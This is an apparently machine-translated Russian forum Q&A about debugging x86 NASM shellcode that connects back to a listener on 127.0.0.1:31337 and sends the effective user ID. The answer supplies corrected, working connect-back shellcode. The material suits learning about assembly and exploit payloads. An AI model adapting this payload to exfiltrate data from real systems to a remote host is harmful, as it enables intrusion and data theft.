nasm x86: отправка системного вызова, интерпретирующая полезную нагрузку для отправки как NULL - PullRequest
2 голосов
/ 30 марта 2019

Я пытаюсь написать какой-нибудь шелл-код, который подключится к слушателю через порт 31337 на локальном хосте и отправит эффективный идентификатор пользователя программы в учебных целях.

Чтобы упростить отладку, я создал следующий код и собрал его с помощью nasm:

BITS 32

section .data

section .bss

section .text
    global _start:

_start:

    ; s = socket(2, 1, 0)
    push BYTE 0x66 ; socketcall is syscall #102 (0x66).
    pop eax
    cdq ; Zero out edx for use as a null DWORD later.
    xor ebx, ebx ; ebx is the type of socketcall.
    inc ebx ; 1 = SYS_SOCKET = socket()
    push edx ; Build arg array: { protocol = 0,
    push BYTE 0x1 ; (in reverse) SOCK_STREAM = 1,
    push BYTE 0x2 ; AF_INET = 2 }
    mov ecx, esp ; ecx = ptr to argument array
    int 0x80 ; After syscall, eax has socket file descriptor.
    xchg esi, eax ; Save socket FD in esi for later.

    ; connect(s, [2, 31337, <IP address>], 16)
    push BYTE 0x66 ; socketcall (syscall #102)
    pop eax
    inc ebx ; ebx = 2 (needed for AF_INET)
    push DWORD 0x0100007f ; Build sockaddr struct: IP address = 127.0.0.1
    push WORD 0x697a ; (in reverse order) PORT = 31337
    push WORD bx ; AF_INET = 2
    mov ecx, esp ; ecx = server struct pointer
    push BYTE 16 ; argv: { sizeof(server struct) = 16,
    push ecx ; server struct pointer,
    push esi ; socket file descriptor }
    mov ecx, esp ; ecx = argument array
    inc ebx ; ebx = 3 = SYS_CONNECT = connect()
    int 0x80

    ; geteuid(void)
    push BYTE 0x31 ; call for geteuid (syscall #49)
    pop eax
    int 0x80 ; eax = effective user id
    mov edi, eax ; store euid for later

    ; send(3, euid, 8, 0)
    push BYTE 0x66 ; socketcall (syscall #102)
    pop eax
    xor edx, edx ; creating zero for flags
    push edx 
    push BYTE 8 ; size of data to transmit
    push edi ; euid
    push esi ; file descriptor
    mov ebx, 9 ; ebx = 9 = SYS_SEND = send()
    mov ecx, esp ; argument array
    int 0x80

    ; exit(1)       
    push BYTE 1 ; call for exit
    pop eax
    xor ebx, ebx
    int 0x80

Когда я запускаю этот код, сокет успешно создается и устанавливается соединение с сервером Iпрослушивание через порт 31337. Однако мой идентификатор пользователя не отправляется.Когда я запустил strace, я получил следующий вывод:

execve("./connect_back", ["./connect_back"], [/* 18 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(31337), 
sin_addr=inet_addr("127.0.0.1")}, 16) = 0
geteuid()                               = 0
send(3, NULL, 8, 0)                     = -1 EFAULT (Bad address)
_exit(0)                                = ?
+++ exited with 0 +++

Похоже, что мой euid не используется в качестве аргумента.Однако, когда я запускаю gdb в двоичном файле, программа, кажется, правильно устанавливает аргументы для вызова send:

gdb debug

Я новичок в nasmпоэтому я прошу прощения, если это глупая проблема синтаксиса.Спасибо за вашу помощь!

1 Ответ

3 голосов
/ 30 марта 2019

TL; DR : значение NULL, которое вы видите в STRACE для send, объясняется тем, что вы используете STRACE как пользователь root, а UID для root в дистрибутивах Linux обычно равен 0. Вв отладчике вы видите 0x3e8, потому что вы запускали отладчик как непривилегированный пользователь с UID = 1000 (то есть 0x3e8).

sys_send требует указателя для отправки данных, а не данных.Значения 0x0000 и 0x03e8 обрабатываются как адреса памяти, даже если они не являются адресами памяти.Оба адреса относятся к памяти, для которой у нас нет привилегий на чтение, поэтому результатом является -EFAULT (неверный адрес) в выводе strace для send


Вы передаете значение UID в send, а не указатель на данные.send принимает указатель на данные, а не на сами данные.Этот код помещает UID в стек, а затем использует адрес стека в качестве указателя на UID.Этот указатель на UID используется для вызова send:

BITS 32

section .data

section .bss

section .text
    global _start:

_start:

    ; s = socket(2, 1, 0)
    push BYTE 0x66 ; socketcall is syscall #102 (0x66).
    pop eax
    cdq ; Zero out edx for use as a null DWORD later.
    xor ebx, ebx ; ebx is the type of socketcall.
    inc ebx ; 1 = SYS_SOCKET = socket()
    push edx ; Build arg array: { protocol = 0,
    push BYTE 0x1 ; (in reverse) SOCK_STREAM = 1,
    push BYTE 0x2 ; AF_INET = 2 }
    mov ecx, esp ; ecx = ptr to argument array
    int 0x80 ; After syscall, eax has socket file descriptor.
    xchg esi, eax ; Save socket FD in esi for later.

    ; connect(s, [2, 31337, <IP address>], 16)
    push BYTE 0x66 ; socketcall (syscall #102)
    pop eax
    inc ebx ; ebx = 2 (needed for AF_INET)
    push DWORD 0x0100007f ; Build sockaddr struct: IP address = 127.0.0.1
    push WORD 0x697a ; (in reverse order) PORT = 31337
    push WORD bx ; AF_INET = 2
    mov ecx, esp ; ecx = server struct pointer
    push BYTE 16 ; argv: { sizeof(server struct) = 16,
    push ecx ; server struct pointer,
    push esi ; socket file descriptor }
    mov ecx, esp ; ecx = argument array
    inc ebx ; ebx = 3 = SYS_CONNECT = connect()
    int 0x80

    ; geteuid(void)
    push BYTE 0x31 ; call for geteuid (syscall #49)
    pop eax
    int 0x80 ; eax = effective user id
    push eax     ; Put EAX on the stack
    mov edi, esp ; Get the address (on stack) of the UID

    ; send(3, euid, 8, 0)
    push BYTE 0x66 ; socketcall (syscall #102)
    pop eax
    xor edx, edx ; creating zero for flags
    push edx
    push BYTE 4 ; size of data to transmit
    push edi ; euid
    push esi ; file descriptor
    mov ebx, 9 ; ebx = 9 = SYS_SEND = send()
    mov ecx, esp ; argument array
    int 0x80

    ; exit(1)
    push BYTE 1 ; call for exit
    pop eax
    xor ebx, ebx
    int 0x80

Я посылаю 4 байта данных (32-разрядное целое число), а не 8 байтов.Получатель должен получить ровно 4 байта, содержащих двоичное значение UID.

Если вы хотите отправить UID в виде строки для печати, вам придется преобразовать UID в строку и передать адрес строкидо send.

...